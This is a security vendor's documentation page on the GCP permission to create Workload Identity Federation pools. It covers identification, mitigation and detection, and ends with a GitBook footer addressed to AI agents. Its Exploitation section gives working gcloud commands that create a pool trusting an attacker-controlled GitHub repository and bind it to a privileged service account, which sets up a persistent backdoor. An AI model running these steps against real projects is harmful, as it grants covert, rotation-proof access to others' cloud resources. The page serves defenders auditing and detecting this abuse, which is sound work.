> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_create_wif_pool.md).

# GCP\_CAN\_CREATE\_WIF\_POOL

## Summary

|                            |                                       |
| -------------------------- | ------------------------------------- |
| **FSProtect ACL Alias**    | GCP\_CAN\_CREATE\_WIF\_POOL           |
| **GCP Alias**              | Persistence & Impersonation           |
| **Affected Object Types**  | Projects                              |
| **Exploitation Certainty** | Certain                               |
| **Granting Roles**         | `roles/iam.workloadIdentityPoolAdmin` |

## Description

`GCP_CAN_CREATE_WIF_POOL` indicates that an identity can create **Workload Identity Federation (WIF) pools and providers** in a GCP project. WIF allows external identities (AWS IAM roles, GitHub Actions workflows, Azure managed identities, etc.) to exchange their native credentials for short-lived GCP access tokens that impersonate a service account.

An attacker with this permission can create a WIF pool trusted by an external identity they already control, then bind that pool to a privileged service account (via `GCP_CAN_SET_SA_IAMPOLICY`). This establishes a persistent, hard-to-detect backdoor: the attacker's external identity can impersonate the SA indefinitely, surviving IAM key rotation and credential revocation.

**Key abuse scenarios:**

* Create a WIF pool trusting an attacker-controlled AWS IAM role → bind to a privileged SA → persistent SA impersonation from AWS.
* Create a WIF pool trusting an attacker-controlled GitHub repository → any build in that repository can impersonate the SA on every run.
* Establish persistence that survives detection and response cycles — the WIF binding cannot be revoked by rotating GCP credentials alone.

## Identification

### gcloud CLI

```bash
# Find who has workloadIdentityPoolAdmin at project level
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("iam.workloadIdentityPoolAdmin")) | {role: .role, members: .members}'

# List all WIF pools in a project
gcloud iam workload-identity-pools list \
  --location=global \
  --project=$PROJECT_ID \
  --format="table(name, state, displayName)"

# List providers for each pool to understand trusted issuers
for POOL in $(gcloud iam workload-identity-pools list --location=global --project=$PROJECT_ID --format="value(name)"); do
  POOL_ID=$(basename $POOL)
  echo "=== Pool: $POOL_ID ==="
  gcloud iam workload-identity-pools providers list \
    --workload-identity-pool=$POOL_ID \
    --location=global \
    --project=$PROJECT_ID \
    --format="table(name, state, oidc.issuerUri, aws.accountId)"
done
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Workload Identity Federation**.
2. Review all pools — look for recently created pools or pools with unexpected external issuers.
3. Check **IAM & Admin** → **IAM** for principals with `Workload Identity Pool Admin`.

## Exploitation

### gcloud CLI

```bash
PROJECT_ID="target-project"
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"

# Step 1: Create a WIF pool trusting an attacker-controlled GitHub repository
gcloud iam workload-identity-pools create attacker-pool \
  --location=global \
  --project=$PROJECT_ID \
  --display-name="Attacker Pool"

gcloud iam workload-identity-pools providers create-oidc attacker-provider \
  --workload-identity-pool=attacker-pool \
  --location=global \
  --project=$PROJECT_ID \
  --issuer-uri="https://token.actions.githubusercontent.com" \
  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository" \
  --attribute-condition="attribute.repository == 'attacker-org/attacker-repo'"

# Step 2: Bind the pool to the target SA
gcloud iam service-accounts add-iam-policy-binding $TARGET_SA \
  --project=$PROJECT_ID \
  --role="roles/iam.workloadIdentityUser" \
  --member="principalSet://iam.googleapis.com/projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/attacker-pool/attribute.repository/attacker-org/attacker-repo"
```

After establishing the binding, the attacker's GitHub Actions workflow in `attacker-org/attacker-repo` can impersonate the target SA on every run. See [GCP\_CAN\_FEDERATE\_IDENTITY](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_federate_identity) for the token exchange steps.

**Compound path:** `GCP_CAN_CREATE_WIF_POOL` + [GCP\_CAN\_SET\_SA\_IAMPOLICY](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_set_sa_iampolicy) → create WIF pool trusted by attacker-controlled external identity → bind to privileged SA → [GCP\_CAN\_FEDERATE\_IDENTITY](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_federate_identity) → persistent SA impersonation.

## Mitigation

1. **Restrict `roles/iam.workloadIdentityPoolAdmin`** to dedicated automation accounts managing WIF configuration; never assign to human users.
2. **Audit WIF pools and providers regularly** — any pool trusting an unexpected external issuer should be investigated immediately.
3. **Use narrow attribute conditions** on all providers to restrict which external subjects can federate.
4. **Alert on WIF pool and provider creation** — pool creation should be rare and require change management approval.

## Detection

| Log Type       | Method                               | Key Fields                           |
| -------------- | ------------------------------------ | ------------------------------------ |
| Admin Activity | `CreateWorkloadIdentityPool`         | WIF pool creation                    |
| Admin Activity | `CreateWorkloadIdentityPoolProvider` | New provider added to a pool         |
| Admin Activity | `SetIamPolicy` on service account    | `workloadIdentityUser` binding added |

```bash
PROJECT_ID="my-project"
gcloud logging read \
  'protoPayload.methodName=~"WorkloadIdentityPool"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"
```

Alert on:

* Any new WIF pool or provider creation — these should be pre-approved and rare.
* WIF providers trusting external issuers not in the organization's approved allowlist.
* `SetIamPolicy` on service accounts adding `workloadIdentityUser` bindings for newly created pools.

## References

* <https://cloud.google.com/iam/docs/workload-identity-federation>
* <https://cloud.google.com/iam/docs/manage-workload-identity-pools-providers>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_create_wif_pool.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
